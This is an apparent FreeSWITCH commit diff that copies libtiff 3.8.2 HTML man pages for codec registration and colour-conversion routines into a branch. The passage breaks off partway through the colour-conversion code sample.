+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>%s: No space for data buffer at scanline %ld</b>.
+<i>TIFFReadBufferSetup</i> was unable to dynamically
+allocate space for a data buffer.</p>
+<!-- INDENTATION -->
+<p><b>%s: No space for output buffer</b>.
+<i>TIFFWriteBufferSetup</i> was unable to dynamically
+allocate space for a data buffer.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcodec.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcodec.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFcodec.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcodec.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcodec.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,116 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>CODEC</title>
+</head>
+<body>
+
+<h1 align=center>CODEC</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFFindCODEC, TIFFRegisterCODEC, TIFFUnRegisterCODEC,
+TIFFIsCODECConfigured &minus; codec-related utility
+routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>const TIFFCodec* TIFFFindCODEC(uint16</b>
+<i>scheme</i><b>);<br>
+TIFFCodec* TIFFRegisterCODEC(uint16</b> <i>scheme</i><b>,
+const char *</b><i>method</i><b>, TIFFInitMethod</b>
+<i>init</i><b>);<br>
+void TIFFUnRegisterCODEC(TIFFCodec
+*</b><i>codec</i><b>);<br>
+int TIFFIsCODECConfigured(uint16</b>
+<i>scheme</i><b>);</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>libtiff</i> supports a variety of compression schemes
+implemented by software <i>codecs</i>. Each codec adheres to
+a modular interface that provides for the decoding and
+encoding of image data; as well as some other methods for
+initialization, setup, cleanup, and the control of default
+strip and tile sizes. Codecs are identified by the
+associated value of the <small>TIFF</small>
+<i>Compression</i> tag; e.g. 5 for <small>LZW</small>
+compression.</p>
+<!-- INDENTATION -->
+<p>The <i>TIFFRegisterCODEC</i> routine can be used to
+augment or override the set of codecs available to an
+application. If the specified <i>scheme</i> already has a
+registered codec then it is <i>overridden</i> and any images
+with data encoded with this compression scheme will be
+decoded using the supplied coded.</p>
+<!-- INDENTATION -->
+<p><i>TIFFIsCODECConfigured</i> returns 1 if the codec is
+configured and working. Otherwise 0 will be returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>No space to register compression scheme %s</b>.
+<i>TIFFRegisterCODEC</i> was unable to allocate memory for
+the data structures needed to register a codec.</p>
+<!-- INDENTATION -->
+<p><b>Cannot remove compression scheme %s; not
+registered</b>. <i>TIFFUnRegisterCODEC</i> did not locate
+the specified codec in the table of registered compression
+schemes.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcolor.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcolor.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFcolor.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcolor.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFcolor.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,975 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>COLOR</title>
+</head>
+<body>
+
+<h1 align=center>COLOR</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFYCbCrToRGBInit, TIFFYCbCrtoRGB, TIFFCIELabToRGBInit,
+TIFFCIELabToXYZ, TIFFXYZToRGB &minus; color conversion
+routines.</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFYCbCrToRGBInit(TIFFYCbCrToRGB
+*</b><i>ycbcr</i><b>, float *</b><i>luma</i><b>, float
+*</b><i>refBlackWhite&quot;</i><b>);&quot;<br>
+void TIFFYCbCrtoRGB(TIFFYCbCrToRGB *</b><i>ycbcr</i><b>,
+uint32</b> <i>Y</i><b>, int32</b> <i>Cb</i><b>, int32</b>
+<i>Cr</i><b>, uint32 *</b><i>R</i><b>, uint32
+*</b><i>G</i><b>, uint32 *</b><i>B</i> <b>);</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFCIELabToRGBInit(TIFFCIELabToRGB
+*</b><i>cielab</i><b>, TIFFDisplay *</b><i>display</i><b>,
+float *</b><i>refWhite</i><b>);<br>
+void TIFFCIELabToXYZ(TIFFCIELabToRGB *</b><i>cielab</i><b>,
+uint32</b> <i>L</i><b>, int32</b> <i>a</i><b>, int32</b>
+<i>b</i><b>, float *</b><i>X</i><b>, float *</b><i>Y</i><b>,
+float *</b><i>Z</i><b>);<br>
+void TIFFXYZToRGB(TIFFCIELabToRGB *</b><i>cielab</i><b>,
+float</b> <i>X</i><b>, float</b> <i>Y</i><b>, float</b>
+<i>Z&quot;</i><b>,</b><i>uint32</i><b>*&quot;</b><i>R</i><b>,
+uint32 *</b><i>G</i><b>, uint32 *</b><i>B</i><b>);</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFF supports several color spaces for images stored in
+that format. There is usually a problem of application to
+handle the data properly and convert between different
+colorspaces for displaying and printing purposes. To
+simplify this task libtiff implements several color
+conversion routines itself. In particular, these routines
+used in <b>TIFFRGBAImage(3TIFF)</b> interface.</p>
+<!-- INDENTATION -->
+<p><b>TIFFYCbCrToRGBInit()</b> used to initialize
+<i>YCbCr</i> to <i>RGB</i> conversion state. Allocating and
+freeing of the <i>ycbcr</i> structure belongs to programmer.
+<i>TIFFYCbCrToRGB</i> defined in <b>tiffio.h</b> as</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>typedef struct {                /* YCbCr-&gt;RGB support */
+        TIFFRGBValue* clamptab; /* range clamping table */
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+
+<p>int*</p>
+<td width="28%"></td>
+<td width="-3%"></td>
+<td width="12%"></td>
+<td width="6%">
+
+<p>Cr_r_tab;<br>
+int*</p>
+</td>
+<td width="56%">
+</td>
+<tr valign="top" align="left">
+<td width="28%"></td>
+<td width="-3%"></td>
+<td width="12%"></td>
+<td width="6%">
+
+<p>Cb_b_tab;<br>
+int32*</p>
+</td>
+<td width="56%">
+</td>
+<tr valign="top" align="left">
+<td width="28%"></td>
+<td width="-3%"></td>
+<td width="12%"></td>
+<td width="6%">
+
+<p>Cr_g_tab;<br>
+int32*</p>
+</td>
+<td width="56%">
+</td>
+<tr valign="top" align="left">
+<td width="28%"></td>
+<td width="-3%"></td>
+<td width="12%"></td>
+<td width="6%">
+
+<p>Cb_g_tab;</p>
+</td>
+<td width="56%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>int32* Y_tab;<br>
+} TIFFYCbCrToRGB;</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>luma</i> is a float array of three values representing
+proportions of the red, green and blue in luminance, Y (see
+section 21 of the TIFF 6.0 specification, where the YCbCr
+images discussed). <i>TIFFTAG_YCBCRCOEFFICIENTS</i> holds
+that values in TIFF file. <i>refBlackWhite</i> is a float
+array of 6 values which specifies a pair of headroom and
+footroom image data values (codes) for each image component
+(see section 20 of the TIFF 6.0 specification where the
+colorinmetry fields discussed).
+<i>TIFFTAG_REFERENCEBLACKWHITE</i> is responsible for
+storing these values in TIFF file. Following code snippet
+should helps to understand the the technique:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>float *luma, *refBlackWhite;
+uint16 hs, vs;
+
+/* Initialize structures */
+ycbcr = (TIFFYCbCrToRGB*)
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>_TIFFmalloc(TIFFroundup(sizeof(TIFFYCbCrToRGB),
+sizeof(long))</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>+ 4*256*sizeof(TIFFRGBValue)</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>+ 2*256*sizeof(int)</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>+ 3*256*sizeof(int32));</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>if (ycbcr == NULL) {<br>
+TIFFError(&quot;YCbCr-&gt;RGB&quot;,</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="4" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>&quot;No space for YCbCr-&gt;RGB conversion
+state&quot;);</p>
+</td>
+<td width="62%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>exit(0);<br>
+}</p>
+<!-- INDENTATION -->
+<p>TIFFGetFieldDefaulted(tif, TIFFTAG_YCBCRCOEFFICIENTS,
+&amp;luma);<br>
+TIFFGetFieldDefaulted(tif, TIFFTAG_REFERENCEBLACKWHITE,
+&amp;refBlackWhite);<br>
+if (TIFFYCbCrToRGBInit(ycbcr, luma, refBlackWhite) &lt;
+0)</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>exit(0);</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>/* Start conversion */<br>
+uint32 r, g, b;<br>
+uint32 Y;<br>
+int32 Cb, Cr;</p>
+<!-- INDENTATION -->
+<p>for each pixel in image</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>TIFFYCbCrtoRGB(img-&gt;ycbcr, Y, Cb, Cr, &amp;r, &amp;g,
+&amp;b);</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>/* Free state structure */<br>
+_TIFFfree(ycbcr);</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFCIELabToRGBInit()</b> initializes the <i>CIE
+L*a*b* 1976</i> to <i>RGB</i> conversion state.
+<b>TIFFCIELabToRGB</b> defined as</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>#define CIELABTORGB_TABLE_RANGE 1500
+
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="9" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+
+<p>typedef struct {</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>/* CIE Lab 1976-&gt;RGB support */</p>
+</td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>int</p>
+</td>
+<td width="6%">
+
+<p>range;</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>/* Size of conversion table */</p>
+</td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>float</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>rstep, gstep, bstep;</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>float</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>X0, Y0, Z0;</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>/* Reference white point */</p>
+</td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>TIFFDisplay display;</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>float</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>Yr2r[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yr
+to r */</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>float</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>Yg2g[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yg
+to g */</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>float</p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>Yb2b[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yb
+to b */</p>
+</td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="6%"></td>
+<td width="37%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>} TIFFCIELabToRGB;</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>display</i> is a display device description, declared
+as</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>typedef struct {
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_mat[3][3]; /* XYZ -&gt; luminance matrix */</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_YCR; /* Light o/p for reference white */</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_YCG;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_YCB;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>uint32 d_Vrwr; /* Pixel values for ref. white */</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>uint32 d_Vrwg;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>uint32 d_Vrwb;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_Y0R; /* Residual light for black pixel */</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_Y0G;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_Y0B;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_gammaR; /* Gamma values for the three guns
+*/</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_gammaG;</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>float d_gammaB;</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>} TIFFDisplay;</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>For example, the one can use sRGB device, which has the
+following parameters:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>TIFFDisplay display_sRGB = {
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>{ /* XYZ -&gt; luminance matrix */</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>{ 3.2410F, -1.5374F, -0.4986F },</p>
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>{ -0.9692F, 1.8760F, 0.0416F },</p>
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>{ 0.0556F, -0.2040F, 1.0570F }</p>
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>},</p>
+</td>
+<td width="6%">
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>100.0F, 100.0F, 100.0F, /* Light o/p for reference white
+*/</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>255, 255, 255, /* Pixel values for ref. white */</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>1.0F, 1.0F, 1.0F, /* Residual light o/p for black pixel
+*/</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>2.4F, 2.4F, 2.4F, /* Gamma values for the three guns
+*/</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>};</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>refWhite</i> is a color temperature of the reference
+white. The <i>TIFFTAG_WHITEPOINT</i> contains the
+chromaticity of the white point of the image from where the
+reference white can be calculated using following
+formulae:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>refWhite_Y = 100.0<br>
+refWhite_X = whitePoint_x / whitePoint_y * refWhite_Y<br>
+refWhite_Z = (1.0 - whitePoint_x - whitePoint_y) /
+whitePoint_y * refWhite_X</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The conversion itself performed in two steps: at the
+first one we will convert <i>CIE L*a*b* 1976</i> to <i>CIE
+XYZ</i> using <b>TIFFCIELabToXYZ()</b> routine, and at the
+second step we will convert <i>CIE XYZ</i> to <i>RGB</i>
+using <b>TIFFXYZToRGB().</b> Look at the code sample
+below:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>float   *whitePoint;
+float   refWhite[3];
+
+/* Initialize structures */
+img-&gt;cielab = (TIFFCIELabToRGB *)
+</pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>_TIFFmalloc(sizeof(TIFFCIELabToRGB));</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>if (!cielab) {</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>TIFFError(&quot;CIE L*a*b*-&gt;RGB&quot;,</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>&quot;No space for CIE L*a*b*-&gt;RGB conversion
+state.&quot;);</p>
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>exit(0);</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>}</p>
+<!-- INDENTATION -->
+<p>TIFFGetFieldDefaulted(tif, TIFFTAG_WHITEPOINT,
+&amp;whitePoint);<br>
+refWhite[1] = 100.0F;<br>
+refWhite[0] = whitePoint[0] / whitePoint[1] *
+refWhite[1];<br>
+refWhite[2] = (1.0F - whitePoint[0] -
+whitePoint[1])</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>/ whitePoint[1] * refWhite[1];</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>if (TIFFCIELabToRGBInit(cielab, &amp;display_sRGB,
+refWhite) &lt; 0) {</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>TIFFError(&quot;CIE L*a*b*-&gt;RGB&quot;,</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>&quot;Failed to initialize CIE L*a*b*-&gt;RGB conversion
+state.&quot;);</p>
+</td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>_TIFFfree(cielab);</p>
+</td>
